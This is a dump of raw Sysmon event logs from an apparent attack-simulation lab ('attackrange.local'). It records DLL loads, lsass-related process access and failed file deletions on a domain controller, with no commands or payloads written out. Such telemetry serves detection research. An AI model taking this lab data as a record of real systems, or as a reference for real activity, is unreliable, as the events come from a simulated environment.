CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000052352Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.966{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\ncobjapi.dll10.0.14393.0 (rs1_release.160715-1616)-Microsoft® Windows® Operating SystemMicrosoft CorporationNCObjAPI.DLLMD5=EA51AB4DE69030FC62B5014175D27A88,SHA256=774A8136F6FC789952548DA2A72F2E53E32A33E91C48EA707C1D823058515DAB,IMPHASH=8BFED2C4A0A233671E2426106589658DtrueMicrosoft WindowsValid 734700x800000000000000052351Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.966{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\wbemcomn.dll10.0.14393.4530 (rs1_release.210705-0736)WMIMicrosoft® Windows® Operating SystemMicrosoft Corporationwbemcomn.dllMD5=91E2160941219FFEBE4093E6681BE4CF,SHA256=3B8AA86EAF2200F53A6EB57B08A34F1BA5E467B72E5002C3BCBF20AF40D98CD1,IMPHASH=69BCD1B17DF0CA323B0C1639784D745BtrueMicrosoft WindowsValid 734700x800000000000000052350Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.966{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\wbem\fastprox.dll10.0.14393.0 (rs1_release.160715-1616)WMI Custom MarshallerMicrosoft® Windows® Operating SystemMicrosoft Corporationfastprox.dllMD5=C2F7834269D565263C65757EDE37A66C,SHA256=17651A35255229CE95F065CA1BCCC4867B43DA879D72AFCC91FBA4768225C7D3,IMPHASH=481A52B415277FC8692C7D6D9EA3475CtrueMicrosoft WindowsValid 734700x800000000000000052349Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.966{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000052348Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.966{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000052347Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.966{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000052346Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.966{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000052345Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.966{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\wbem\WmiPrvSE.exe10.0.14393.2155 (rs1_release_1.180305-1842)WMI Provider HostMicrosoft® Windows® Operating SystemMicrosoft CorporationWmiprvse.exeMD5=E1BCE838CD2695999AB34215BF94B501,SHA256=1D7B11C9DEDDAD4F77E5B7F01DDDDA04F3747E512E0AA23D39E4226854D26CA2,IMPHASH=20C3512CFF09FABFB994B8B9DBF73B4FtrueMicrosoft WindowsValid 10341000x800000000000000052344Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.950{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\system32\wbem\wmiprvse.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000052343Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.950{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\system32\wbem\wmiprvse.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+36349|c:\windows\system32\rpcss.dll+3bb32|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052342Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.950{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052341Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.950{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052340Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.950{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+1a16d|C:\Windows\system32\lsasrv.dll+2704b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000052339Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.950{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CE3DEE56A68F197AD1F1ED106395E4FF,SHA256=3631A7C449518A7F597CD969D112756F6092AE32284D58578783E50F1DE0C79E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052338Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.713{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=2E576FFA10D92163B0FD8258CCB8ABE9,SHA256=56CC372A68813100BD7727816EE16C001FD28FE358D3B5402C4F51784072075A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000052337Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:19.419{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59612-false10.0.1.12-8000- 734700x800000000000000052336Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.023{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000052335Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.021{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000052334Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.020{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000052403Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:23.992{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=99827B68FB6FCD342603E47439CE4727,SHA256=D4164C965113D1A096D7384CBD487A5369E8E7195918726A2D66905023ED248F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052402Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:23.977{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=907F1F9620873693E933A8F5F56F7B48,SHA256=196EDAFE8228AB0BEFACCBC156A98DFC7CC5BFF7E1D1024145805F02CB1EF5C7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016699Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:23.185{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2C34650C120C8F820B2E08B439F25331,SHA256=74A702E7DAA0CD1F7057DE250555D4DBE90EC22314ABED918F2079CFB9F217E4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052401Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:23.597{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\startupCache\startupCache.8.littleMD5=9C0A77700A51228CFC5A394AF83A81B0,SHA256=C9463688CF10D19658EC0701BC2D83254E7D131465F311DB5DEDC866EE199F96,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052400Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:23.112{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0F88E9B3B61041ECD4CDF62542024582,SHA256=AFCCD210E3675E63192E7C9EE1890AA151E2E22DC0F3C938228BA93F26DECF75,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000052399Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:23.066{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\rasadhlp.dll10.0.14393.0 (rs1_release.160715-1616)Remote Access AutoDial HelperMicrosoft® Windows® Operating SystemMicrosoft Corporationrasadhlp.dllMD5=FAE8D0480BDD905EEA453D3A57C8D5C6,SHA256=C1531223B8201B344A6A6474CB2D9B8A8C632250A3A6F472EC5E2D7D28ADD94C,IMPHASH=98E0DBCEA076EF80E7DE241072E34656trueMicrosoft WindowsValid 734700x800000000000000052398Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:23.066{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\dnsapi.dll10.0.14393.4350 (rs1_release.210407-2154)DNS Client API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationdnsapiMD5=D7651F99299B13D576A72643BFC44944,SHA256=589302E630C473DBDF4CE92C59F00B029FCA0C228E7111A764166E16025FA1A9,IMPHASH=3C043C6FF0F62DAEB8819606F79C5ECCtrueMicrosoft WindowsValid 10341000x800000000000000052397Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:23.066{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\system32\cscript.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052396Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:23.066{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\system32\cscript.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000052395Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:23.066{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\sspicli.dll10.0.14393.2580 (rs1_release_inmarket.181009-1745)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsspicli.dllMD5=5061339CE61C0B32DB8F51A95E3B2422,SHA256=60558CA374334D4C6BBAD475921538C14A9FF3422893348A0503C1F33015FD25,IMPHASH=4B1C9487A6420C18F688F0EC5BEB6F33trueMicrosoft WindowsValid 734700x800000000000000052394Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:23.034{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\winhttpcom.dll10.0.14393.0 (rs1_release.160715-1616)Windows COM interface for WinHttpMicrosoft® Windows® Operating SystemMicrosoft Corporationwinhttpcom.dllMD5=01EABDAB45E837ABBBFA4ADC74297C13,SHA256=FABC2CD56E2CD1E3C411A6884283428CEBA5ED6DEE7D218DF22387291EEE64AE,IMPHASH=F28B949E5C7F0E163ABA18B6473D61F7trueMicrosoft WindowsValid 734700x800000000000000052393Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:23.050{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\nsi.dll10.0.14393.3297 (rs1_release_1.191001-1045)NSI User-mode interface DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationnsi.dllMD5=994E2A6D2A0B38E0968B3998E42033AC,SHA256=491F2D1DE09C39B324BCF5800198AC7CCE755F4023F1FEB3854D33716461BC27,IMPHASH=B01B7830101BC0D5FBDE4FFE2B170CF7trueMicrosoft WindowsValid 734700x800000000000000052392Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:23.050{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\winnsi.dll10.0.14393.2339 (rs1_release_inmarket.180611-1502)Network Store Information RPC interfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationwinnsi.dllMD5=25B3BD4D63460EE4599F5631C1B83D21,SHA256=07E055D47940F09CB7EB512D52672C944D7D2F035A2F45766319871C0862C5B1,IMPHASH=77951C1B66390D48C5FC7B47D7C8668AtrueMicrosoft WindowsValid 734700x800000000000000052391Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:23.050{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\mswsock.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft Windows Sockets 2.0 Service ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationmswsock.dllMD5=B52ACA309FD6F72105951FFBA022327B,SHA256=02AB6CCE4BF0D3F075D5E982F5A4CBDB514CE7C245EA474D7846A86CD3F13202,IMPHASH=0E9C1FA273A5EFD763FAC8E145B20C80trueMicrosoft WindowsValid 734700x800000000000000052390Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:23.050{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\webio.dll10.0.14393.3866 (rs1_release.200805-1327)Web Transfer Protocols APIMicrosoft® Windows® Operating SystemMicrosoft Corporationwebio.dllMD5=0CE65DF03820B5523EFE7D20258E6F0A,SHA256=9224732E1A7761866BB479C91A02C561F77B203EB20914F4ED0AF8FE320E8FF6,IMPHASH=72061958A1119B16F6B4694A68C7F8CBtrueMicrosoft WindowsValid 734700x800000000000000052389Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:23.050{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\mlang.dll10.0.14393.4169 (rs1_release.210107-1130)Multi Language Support DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationMLANG.DLLMD5=1DB944C25F1B1D7105543E61F1CC5E2F,SHA256=EBA81052B0330151F8FE0FC95AFD2203D3869D67A05AD4E5D3FA8A69B48B4046,IMPHASH=563B6F147961D943E0261E05EAD94B56trueMicrosoft WindowsValid 734700x800000000000000052388Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:23.050{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\IPHLPAPI.DLL10.0.14393.2339 (rs1_release_inmarket.180611-1502)IP Helper APIMicrosoft® Windows® Operating SystemMicrosoft Corporationiphlpapi.dllMD5=3CD38EDF9CA12F91131EDEE32D1C9DF5,SHA256=AF2440640BF8BDEAAF0DECDD7C354158E415ED0AA340ABA7A6CCCDC09C1E728B,IMPHASH=98738BA55485CCA932F6D222F47FFC55trueMicrosoft WindowsValid 734700x800000000000000052387Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:23.050{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\OnDemandConnRouteHelper.dll10.0.14393.4169 (rs1_release.210107-1130)On Demand Connctiond Route HelperMicrosoft® Windows® Operating SystemMicrosoft CorporationOnDemandConnRouteHelper.dllMD5=BAE78E97BEBB832376654560305922E3,SHA256=6A188DC4F1005E46CCA529E9C757D9B3B5F98E5587AFAA5E4200C7DD2AC73355,IMPHASH=FE994282C73F9AB11AC9B6E37AC26B47trueMicrosoft WindowsValid 734700x800000000000000052386Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:23.034{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\winhttp.dll10.0.14393.4467 (rs1_release.210604-1844)Windows HTTP ServicesMicrosoft® Windows® Operating SystemMicrosoft Corporationwinhttp.dllMD5=8893BE5829B2F909E7FC4AF4C43B54F9,SHA256=C1D791C72417FD001E2A5FE441717881D43428A931724E7FD2DCCE6C83699458,IMPHASH=F1FC6BF3699C289EBAF914A7771E49CDtrueMicrosoft WindowsValid 734700x800000000000000052385Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:23.034{7BD73061-728E-613B-5B0B-00000000F001}1020C:\Windows\System32\cscript.exeC:\Windows\System32\msxml3.dll8.110.14393.4467MSXML 3.0Microsoft XML Core ServicesMicrosoft CorporationMSXML3.dllMD5=6814685E95C03FBB44F443A2E382A0BC,SHA256=01FE087FEC5C44D5DC17875038BEDCC47544F710DEB83D421A7D6DF05DA688CF,IMPHASH=8448C86FFD89411B97A54FA488DD34AAtrueMicrosoft WindowsValid 734700x800000000000000052384Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:23.034{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\dnsapi.dll10.0.14393.4350 (rs1_release.210407-2154)DNS Client API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationdnsapiMD5=D7651F99299B13D576A72643BFC44944,SHA256=589302E630C473DBDF4CE92C59F00B029FCA0C228E7111A764166E16025FA1A9,IMPHASH=3C043C6FF0F62DAEB8819606F79C5ECCtrueMicrosoft WindowsValid 734700x800000000000000052383Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:23.012{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\dhcpcsvc.dll10.0.14393.3930 (rs1_release.200901-1914)DHCP Client ServiceMicrosoft® Windows® Operating SystemMicrosoft Corporationdhcpcsvc.dllMD5=CD3B9633BBEF2102C4665A2C39EC0B1A,SHA256=341EFB4806BE39E09AA90CA3B069C39F2A9D61FA9B512350B2721D41875AFCAE,IMPHASH=9A2F821D250C4CEBC0627590331B869DtrueMicrosoft WindowsValid 734700x800000000000000052382Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:23.012{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\dhcpcsvc6.dll10.0.14393.3930 (rs1_release.200901-1914)DHCPv6 ClientMicrosoft® Windows® Operating SystemMicrosoft Corporationdhcpcsvc6.dllMD5=1721EAC44BCFC7177AA664ADCA514F23,SHA256=C099BCCE44A04A48147DE8CF093EBF997510154113789BF31394B5148F60B375,IMPHASH=1278B10B4CD792CEC37AF93D76A387ECtrueMicrosoft WindowsValid 